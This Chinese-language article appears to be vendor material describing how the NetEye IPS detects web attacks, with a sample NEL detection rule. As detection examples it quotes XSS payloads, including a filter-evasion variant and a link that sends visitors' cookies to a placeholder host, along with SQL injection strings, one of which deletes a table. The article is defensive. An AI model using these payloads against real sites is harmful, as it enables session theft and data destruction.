文:刘健
如今政府和商业组织的正常运转日益依赖于各种应用系统,而web应用由于其使用方便,功能多样的特点,被越来越多的运用到各行各业,如电子政务,网上银行,网上购物等等。随着web应用的普及和发展,web应用的安全却一直没有得到很好的重视,存在的安全遗患已经确实对web应用所承载的业务构成了威胁。根据新近公布的一份威胁分析报告,由于普遍薄弱的web安全意识,同时缺乏有效的防护手段,web应用正成为最大的安全盲点和风险来源。
一、 Web应用安全所面临的挑战
Fortify Software公司通过6个多月的搜集汇编形成一份详细的调查报告。从Fortify的报告可以看出,web应用攻击最主要的3类方法是:机器人攻击(bots storms);Google Hacking;直接攻击。
1. 机器人攻击(最常见的Web攻击方法)
平均来讲,针对web应用的50%-70%的攻击来自于机器人和自动搜索已知漏洞的机器人网络。这些自动的探测查找到不经保护或者没有打补丁的应用中的组件,如果探测成功就发送恶意代码。
数十万个探测器在整个Internet上传播并且不停的攻击web应用,这种攻击可以忽略不计,也可能会造成非常巨大的破坏,取决于web应用的建造方式。例如,基于Java/J2EE的Web应用就不会承受基于PHP的攻击。然而,探测器对于应用基础结构的探测,很有可能是基于蠕虫的攻击,甚至直接攻击的前奏。
2. Google Hacking
像Google这样的搜索引擎收集大量他们索引中的web网站上的有用信息。如果一个web站点不小心暴露了敏感的信息,或者报告了一个漏洞的存在,那时,Google的站点索引就会包含这个漏洞的蛛丝马迹。举个例子,一个web应用在一个网页失灵的时候,会报告诊断错误,例如堆栈轨迹等。黑客可能利用这些信息获得应用中的组件和内部结构的映射信息。堆栈轨迹可能同样会暴露不同组件的名称和版本信息。这些开放的信息也是应用代码中的典型bug——越来越多的黑客利用这些潜在的错误。
3. 直接攻击(最危险的web应用攻击方法)
直接攻击是以特定网站为目标的安全事件。不像蠕虫,直接攻击是由人主导的——即使有时攻击者会使用一个自动机制。这种攻击不经常发生,但更加诡秘和危险。这种攻击最常用的技术就是跨站脚本,SQL注入和缓冲区溢出攻击。
二、 NetEye IPS的web应用安全防护引擎功能介绍
据统计,1000万攻击事件中的64%是以80端口也就是HTTP协议为目标的,这意味着,通过对利用HTTP协议的攻击进行防护,就可以解决掉64%的攻击事件。NetEye IPS主要通过对利用HTTP协议的攻击进行限制来保护web应用不受攻击。这对于一个网站或基于web的应用系统来说,意味着绝大多数安全问题都有了一个有效的预防和解决手段。
NetEye IPS对HTTP协议进行了细粒度的分析,例如可以将url分解成host,path,query等几部分,将cookie头部内容分解成若干对参数名和参数值,这样,就可以根据不同的位置,制定相应的防御规则。这样做的好处显而易见,就是能够减少漏报和误报率,并且加强捕捉攻击时的准确率。而像snort一样的系统只能将HTTP请求整体作为一个字符串进行处理,并且只能够提供字符串的匹配操作。
同时,NetEye IPS将HTTP请求在两个层次上进行过滤,以保证web应用的安全:
1. 协议层,对于违反协议的请求进行过滤;
NetEye IPS的协议层防御是根据RFC协议以及一些常见的需求对HTTP请求过滤。通过协议层的过滤,可以防范很多的自动攻击和缓冲区溢出攻击。
很多的自动扫描工具发出的HTTP请求虽然符合HTTP协议标准,但是请求消息非常简单。例如有的自动扫描工具生成的HTTP请求只有请求行,而缺少Referer,Cookie,Host等头部。web服务器无法对HTTP请求消息进行特别的要求,而NetEye IPS的协议层提供了很多规则,例如一个HTTP请求消息必须包含Cookie头部等,用户可以通过在NetEye IPS上选中相应的规则,来自定义其需要的HTTP请求的结构,起到保护应用服务器的目的。同时,如果web应用本身使用了一些不符合协议的HTTP请求方式,NetEye IPS可以通过调整协议规则保证该web应用的正常使用。
一般情况下,攻击者进行缓冲区溢出攻击时,都是使用超长的字符串。使用NetEye IPS后,就可以通过在IPS上设置相应HTTP请求的特定部分的长度约束来解决这个问题。由于NetEye IPS可以对HTTP协议进行细粒度的分析,因此可以对HTTP的请求行,请求行参数,各个头部,实体等分别设置不同的长度要求。
2. 攻击层,对于符合攻击特征的请求进行过滤。
NetEye IPS的攻击层防御目前对跨站脚本,注入,系统命令执行,目录遍历等攻击方式进行了过滤,主要依靠对攻击特征的检测。这些攻击一般都是符合RFC规范的,所以依靠协议层并不能发现和防御这些攻击。
经过调查,这几类攻击特征都出现在HTTP请求消息的4个部分,即请求行中的url,Referer头部中的url,Cookie头部中的所有参数名和参数值,使用POST方法的“application/x-www-form-urlencoded”类型的请求实体。攻击者正是通过篡改这几个部分中提交的参数来发起攻击的。攻击层在HTTP请求的这4个部分对攻击特征进行了精确检测,实现了对这几类攻击的防御。
NetEye IPS采用了解码和去掉一些特殊字符等预处理方法平解决攻击者躲避检查和隐藏攻击的问题。
首先说解码,解码应该分成两类,第一类是HTTP协议使用的url编码,目的是为了避免与协议解析中的特殊字符冲突,例如空格,等号等。第二类是被攻击者利用来躲避安全设备检查的编码方式,例如常被跨站攻击利用的html页面可以识别的html entity编码和unicode编码。这样,就需要在匹配相应的攻击规则之前,进行相应的解码。
其次,进行完解码之后,还需要进行另一种预处理技术,那就是去掉协议解析之外的特殊字符:“
”换行符,“
”回车符和“ ”制表符,因为,这些字符都是被攻击者经常用来躲避IPS/IDS等设备检查的。例如,“<IMG SRC="javascript:alert('XSS');">”这样一个跨站攻击脚本,假设以“javascript:”这个关键字作为攻击特征,可以被检测到。但是如果将攻击脚本变成“<IMG SRC="jav ascript:alert('XSS');">”,以“javascript:”作为攻击特征将不会被检测到,而这个脚本同样可以攻击成功。NetEye IPS采用的预处理技术可以有效地避免这种问题的发生。
三、 基于NEL的NetEye IPS web应用安全防护引擎
NEL(NetEye Event Language)是东软自主研发成功的一种通用攻击描述语言,包括NEL语言规范及相应的开发环境。NEL为不同类型的入侵检测防御产品(如网络IDS/IPS、主机IDS/IPS、应用防火墙、应用安全增强模块等)的开发提供了一个具有强大描述能力、高度的可扩展性和很高代码执行效率的语言平台。
一个基本的“引擎”将包含“协议分析引擎”和“事件分析引擎”两部分,前者是使用传统编译器(如GCC)编译而成;后者是使用NEL编译器生成。和GCC那样的独立编译器不同,NEL 编译器是一个内置的编译器,它能够在运行期读入*.nel 文件进行语法分析,在内存中生成事件分析引擎,并负责将协议分析引擎和事件分析引擎在内存中进行动态链接(Dynamic Link in Memory),并最终构成一个引擎实体。在这里C语言是宿主语言,而NEL是寄生语言。
NEL文件分成三部分,定义部分,规则说明部分,和辅助程序部分:定义部分定义了变量和事件;规则说明部分包含B N F格式的事件规则,以及各个事件规则被识别出时所执行的动作;辅助程序部分包含用于其他目的的一些函数定义。
举个完整的规则的例子:
Static int id;
Init{
Id=ridof();
}
ATK_DIRECTORY_TRAVERSAL : POST_REQ($1->req_ent->ent_stream ~ /template=..//i)
{
printf("NEL>>> ATK_DIRECTORY_TRAVERSAL : 强制浏览攻击
");
http_rule_act($0, id, "test: apexec_directory_traversal atk appears in the request!!!!")
return NULL;
}
;
这条规则是判断使用post方法的HTTP请求的实体中,如果有“../”出现,那么就是一次强制浏览攻击。从这条规则就可以看出一条规则的基本结构。上边是定义部分,定义一些需要用到的变量,也可以是“include”操作等。Init部分初始化一些需要用到的变量,也可以进行一些需要的动作。再下边就是规则描述部分,有一个规约事件,冒号,源事件,以及括号中的谓词。规则整体表示在满足了这个谓词的情况下,可以把源事件规约成另一个事件,并完成后续大括号中间的动作:printf是普通的打印语句,http_rule_act函数完成功能是:按照“id”所对应的规则说明,将本次HTTP请求进行相应的操作,阻断或者只是报警,最后就是返回值,在这里直接返回NULL就行。
这条规则是NEL语言比较简单的一种应用。NEL为用户提供了强大的正则表达式匹配,shellcode检测等功能,用户可以简单的调用这些函数,或者可以通过修改谓词,定义自己的函数等方法,实现用户需要的复杂的功能。
由于NEL语言提供的强大能力,使得NetEye IPS能够适应web应用安全的需要。以下具体说明一下,针对不同类型的web攻击方法,NetEye IPS是如何提供强有力保护的。
1. 机器人攻击。
其实机器人的攻击原理非常简单,那就是利用报告出来的各种应用的漏洞,制作成一个比较全面的漏洞库,在探测器进行攻击的时候,就是利用这个漏洞库。如果碰上了包含漏洞的网站或应用,那么攻击就成功了。
对于这种攻击的防御也比较简单。NetEye IPS根据权威机构报告出来的漏洞,编写了众多的防护相应漏洞的规则,可以有效满足防御自动攻击的需要。
2. Google Hacking
Google这样的搜索引擎就是定期访问网站中所有可以访问的url,获得这个网站上所有可以获得的信息。通常情况下,用户根本就没有意识到有一些文件是外部可以访问的,而其中有些信息是比较敏感的,这就造成了Google Hacking。利用NetEye IPS可以在一定程度上解决这个问题。
管理员对自己所维护网站哪些url是允许访问的,哪些文件是允许访问的是非常清楚的。通过在NetEye IPS上设置允许外部访问者可以访问的资源,就可以限制搜索引擎的访问,同时也可以限制攻击者对某些机密文件的访问。
3. 直接攻击
直接攻击是NetEye IPS防御的重中之重,可以说上边的机器人攻击和Google Hacking都是这种攻击的准备动作,这种攻击方法最具威胁,一旦成功破坏也最大,通常攻击者使用的手段包括跨站脚本,SQL注入和缓冲区溢出攻击等。
对于直接攻击的防御可以采用两种方案:
1. 攻击特征限制;
2. 正确性限制。
攻击特征限制是目前多数安全产品采用的方法,被广泛应用于防病毒网关产品,因为每种病毒都有其固定特征。这种方法的缺点就是不能防范未知的攻击,需要不断根据新攻击手段更新规则。
对于跨站脚本来说,它的攻击特征应该就是在参数中使用“<script>”,“<img>”,“<applet>”等html标签,例如将参数值设为“<script>alert(document.cookie)<script>”,“<A HREF=javascript:document.location="http://somesite/asdf/xss.jsp?admin=cookie&pswd="+document.cookie>查看详细留言</A>”等。前一种一般用来测试跨站脚本漏洞是否存在,后一种就是真正的攻击了,攻击者将这个留言放置在一个网站上,在其它用户登录这个网站,查看攻击者的留言以后,就会把自己的cookie值提交到另一个url “http://somesite/asdf/xss.jsp”上,如果“http://somesite/asdf/xss.jsp”是攻击者自己的网页,那么攻击者就能成功窃取到用户的cookie了。所以,可以通过在HTTP请求的参数中查找是否存在这些html标签,和一些可能被跨站脚本利用的html事件,属性以及函数等,可以实现对跨站脚本的检测。
对于SQL注入来说,它的特征不容易被总结出来,但是有比较典型的几种SQL注入攻击方法。首先,利用真值条件获取权限,特征是使用类似于“' or ‘1’=’1”这样的字符串,它们与之前的SQL语句一起组合成新的语句,使where后边的条件始终是真值,例如:“where pswd=’1234’”就变成了“where pswd=’’ or ‘1’=’1’”。由于很多网站利用select where的方法判断用户名和密码是否正确,那么利用这种SQL注入方法就很有效。后边的真值条件是无法检测的,因为有根多种真值判断方法,像“2>1”,“’abc’>’a’”,“’abc’ between ‘a’ and ‘b’”,在MS SQL中可以使用全局变量“@@version > ‘a’”。对于这种攻击特征,在NetEye IPS中就可以用一个或者几个特殊的关键字,以及正则表达式等方式来检测这种SQL注入。
其次,形如“’; delete from tablename where ‘1’=’1”这样的字符串。假如原来的SQL语句是“where pswd=’1234’”,那么修改以后就变成了“where pswd=’1234’; delete from tablename where ‘1’=’1’”,会删除表中的所有数据。它的特征是用“;”来结束前边的SQL语句,然后再执行注入进去的SQL语句。对于这种SQL注入,NetEye IPS可以限制在参数中使用“;”等一些特殊字符和一些操作数据库的SQL语句,存储过程和数据库函数等。当然除了这两种SQL注入方式,还有很多其它方式,NetEye IPS也均有相应的防御手段,这里就不一一介绍了。
对于缓冲区溢出这种攻击来,上边已经说过,一般都是发送超长的url或者某个头部等造成的,可以通过NetEye IPS的协议层解决掉一大部分。通过攻击层,可以进一步限制参数的长度以达到检测的目的。
以上只是攻击方法中的一小部分,除此之外,攻击方法还包括Cookie中毒,操作隐藏字段,拒绝服务攻击等。想要找到所有攻击特征是一件比较困难的事,而且只能防范很少部分的未知攻击。由此产生了NetEye IPS支持的另一种防御方法——正确性限制。如果说检测攻击特征是一种消极的方法的话,那么正确性限制就是一种积极的方法。它通过规定正确的行为来过滤所有不规范的行为,可以满足更高的安全性要求。
NetEye IPS可以以url为单位,为每个url定义一个正确的行为。对于上面提到的三种攻击来说,可以对一个url,限制参数中出现的字符,参数的长度,规定该参数是字符串还是数字,用于SQL语句,html网页还是其它地方等。这样,不需要知道各种攻击特征,就可以提供较高的安全保证。
当然,这样的一个正确性限制模型,因为是以url为单位,制定定制化规则的工作对于用户来说是很复杂的一件事。因此,东软NetEye 研发团队正在开发一个NetEye IPS规则生成器模块,通过自动检测所保护的web应用的行为以及流量来自动生成正确性限制规则。用户只需要修改这些现成的规则就可以得到其想要的功能。
四、 结束语
由于web攻击可以非常容易绕过传统的安全设备的防护,因此web应用已经变成了攻击者最喜欢的攻击目标之一。通过前面介绍可以看出,NetEye IPS无疑为web应用的安全防护提供了一件有力武器!